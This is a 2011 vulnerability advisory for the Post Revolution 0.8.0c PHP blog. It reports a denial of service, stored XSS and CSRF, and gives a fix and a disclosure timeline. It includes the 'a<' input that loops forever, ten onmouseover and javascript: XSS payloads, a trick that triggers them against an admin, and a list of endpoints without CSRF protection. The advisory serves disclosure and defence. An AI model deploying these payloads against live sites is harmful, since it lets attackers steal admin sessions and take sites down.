info
———————————
Name :  Post Revolution 0.8.0c Multiple Remote Vulnerabilities
Class: Design Error && Input Validation Error
CVE: CVE-2011-1952, CVE-2011-1953, CVE-2011-1954
Remote: Yes
Local: No
Credit :  Javier Bassi <javierbassi [at] gmail [dot] com>
Vulnerable :  All versions prior to and including 0.8.0c are affected.
Vendor Hompeage :  http://postrev.com.ar



description
———————————
Post Revolution is an open source blog tool and publishing platform
powered by PHP and MySQL.



discussion
———————————
Post Revolution is prone to multiple remote vulnerabilities, including:
1. A Denial of service vulnerability. (CWE-835) (CVE-2011-1952)
2. Persistent Cross-site scripting vulnerabilities. (CWE-79) (CVE-2011-1953)
3. Cross-site request forgery vulnerabilities. (CWE-352) (CVE-2011-1954)

An attacker may leverage these issues to cause a denial-of-service
condition, perform certain administrative actions, execute arbitrary
script code in the browser of an unsuspecting user in the context of
the website, steal cookie-based authentication credentials, and gain
unauthorized access to the affected application.
Post Revolution 0.8.0c is vulnerable.



timeline
———————————
2011.05.22 – Informed developers
2011.05.23 – Patch for issues 1 & 2 released.
2011.06.01 – Disclosed



details/pocs
———————————
1. Denial of Service vulnerability
Post Revolution allows some HTML tags in the comments and removes all
non-permitted.
The vulnerable code is in the lines 456 to 462 in common.php:

        while(stripos($s,'<') > 0){
            $pos[1] = stripos($s,'<');
            $pos[2] = stripos($s,'>', $pos[1]);
            $len[1] = $pos[2] - $pos[1] + 1;
            $x = substr($s,$pos[1],$len[1]);
            $s = str_replace($x,'',$s);
        }

This code tries to remove every non-permitted HTML tag. $s is the
content of the comment. An attacker could post a comment with just
'a<' and then while(stripos($s,'<') > 0) will always be true because
pos[1]=1, pos[2] will be NULL, len[1]=0, then x = NULL so $s will be
again 'a<'.
This will cause an infinite loop that will end when php kills the
script printing:
Fatal error: Maximum execution time of 30 seconds exceeded in
/var/www/postrev/common.php on line 459


2. Cross-site scripting vulnerabilities.
Post Revolution allows the following tags in the comments:
p,strong,a,em,i,img,li,ol,video,blockquote
and don't sanitize their attributes.
So the following XSS vectors work:
<a href="javascript:alert(1)">some text</a>
<p onmouseover="javascript:alert(1)">some text</p>
<a href="" onmouseover="javascript:alert(1);">some text</a>
<em onmouseover="javascript:alert(1)">some text</em>
<strong onmouseover="javascript:alert(1)">some text</strong>
<i onmouseover="javascript:alert(1)">some text</i>
<img src="https://encrypted.google.com/images/logos/ssl_logo_lg.gif"
onmouseover="javascript:alert(1)" />
<ol><li onmouseover="javascript:alert(1)">some text</li></ol>
<ol onmouseover="javascript:alert(1)"><li>1</li><li>2</li></ol>
<blockquote onmouseover="javascript:alert(1)">some text</blockquote>

The same with other events like onclick, onmouseout, onmousemove, onkeydown, etc
Also note that the PR doesn't close the tag for you, so its not
necesary to get the comment mouseovered by the admin. If the attacker
post <p onmouseover="javascript:alert(1)">some text
mouseover event will be triggered when the admin moves the mouse
anywhere below attacker's comment.


3. Cross-site request forgery vulnerabitiles.
There is CSRF everywhere in ajax-weblog-guardar.php, verpost.php,
comments.php, perfil.php, etc. PR 0.8.0c has absolutely no protection
against CSRF in any form except for anonymous comments and
registration that has a captcha.



solution
———————————
You can fix DoS and XSS vulns fast by replacing the whole function
check_html in common.php from line 416 to 471 with
function check_html($s){
        return htmlspecialchars($s);
    }

Users will not be able to format their comments with HTML but Post
Revolution already has BBcode so there was no need of HTML in comments
in the first place.
NO HTML FOR YOU!

Fix the CSRFs will require some coding.
Vendor has released a patch for issues 1 and 2:
postrev.com.ar



References
——————-
1. Advisory URL: http://javierb.com.ar/2011/06/01/postrev-vunls/